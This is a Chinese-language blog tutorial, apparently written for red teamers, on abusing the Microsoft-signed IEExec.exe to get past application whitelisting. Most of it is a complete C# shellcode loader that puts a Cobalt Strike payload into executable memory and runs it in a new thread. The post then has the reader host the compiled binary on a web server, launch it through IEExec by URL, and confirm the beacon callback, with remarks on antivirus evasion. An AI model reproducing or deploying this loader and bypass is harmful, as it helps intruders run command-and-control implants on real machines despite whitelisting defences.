当你的才华
还撑不起你的野心时
那你就应该静下心来学习
目录
0x01 IEexec.exe介绍
IEexec.exe应用程序是.NET Framework附带程序,存在于多个系统白名单内。可以将IEExec.exe应用程序用作主机,以运行使用URL启动的其他托管应用程序。
IEexe.exe在64位系统路径为:C:\Windows\Microsoft.NET\Framework64\v2.0.50727
0x02 IEExec.exe执行payload
我们先使用CS生成监听上线的C#payload(注意我们要生成64位的shellcode)。
然后将我们使用VS创建一个C#控制台程序。
编写如下代码(namespace别忘记修改为自己的),然后将CS生成的payload填写到下面代码的数组中。
using System;
using System.Runtime.InteropServices;
namespace testIEexec
{
class Program
{
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
private static UInt32 MEM_RELEASE = 0x8000;
public static void Main(string[] args)
{
// 替换下面数组中的内容
byte[] proc = new byte[894] { 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc8, 0x00, 0x00, 0x00,............. };
UInt32 funcAddr = VirtualAlloc(0, (UInt32)proc.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(proc, 0, (IntPtr)(funcAddr), proc.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
// prepare data
PROCESSOR_INFO info = new PROCESSOR_INFO();
IntPtr pinfo = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(PROCESSOR_INFO)));
Marshal.StructureToPtr(info, pinfo, false);
// execute native code
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
// retrive data
info = (PROCESSOR_INFO)Marshal.PtrToStructure(pinfo, typeof(PROCESSOR_INFO));
Marshal.FreeHGlobal(pinfo);
CloseHandle(hThread);
VirtualFree((IntPtr)funcAddr, 0, MEM_RELEASE);
}
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern bool VirtualFree(IntPtr lpAddress, UInt32 dwSize, UInt32 dwFreeType);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
[DllImport("kernel32")]
private static extern bool CloseHandle(IntPtr handle);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
[DllImport("kernel32")]
private static extern IntPtr GetModuleHandle(string moduleName);
[DllImport("kernel32")]
private static extern UInt32 GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
private static extern UInt32 LoadLibrary(string lpFileName);
[DllImport("kernel32")]
private static extern UInt32 GetLastError();
[StructLayout(LayoutKind.Sequential)]
internal struct PROCESSOR_INFO
{
public UInt32 dwMax;
public UInt32 id0;
public UInt32 id1;
public UInt32 id2;
public UInt32 dwStandard;
public UInt32 dwFeature;
// if AMD
public UInt32 dwExt;
}
}
}
编译生成exe,然后部署到我们的web服务器上,例如我这里使用的是phpstudy。
使用管理员身份打开cmd,分别运行下面两条命令。
这里的文件路径自己替换为自己部署的exe的路径即可。
可发现CS已成功上线,程序成功执行,执行程序的pid为17116。
系统任务管理器中pid 为17116的程序名称。
虽然此方法的免杀率不是特别的高,但是在很多情况下,即使主机处于仅受信任的应用程序可以运行的模式下,IEexex.exe在某些情况下也可以绕过白名单,因为它可能是受信任的二进制文件,并带有Microsoft签名。
参考链接:
《Application Whitelist Bypass using IEexec.exe》:https://room362.com/post/2014/2014-01-16-application-whitelist-bypass-using-ieexec-dot-exe/
虽然我们生活在阴沟里,但依然有人仰望星空!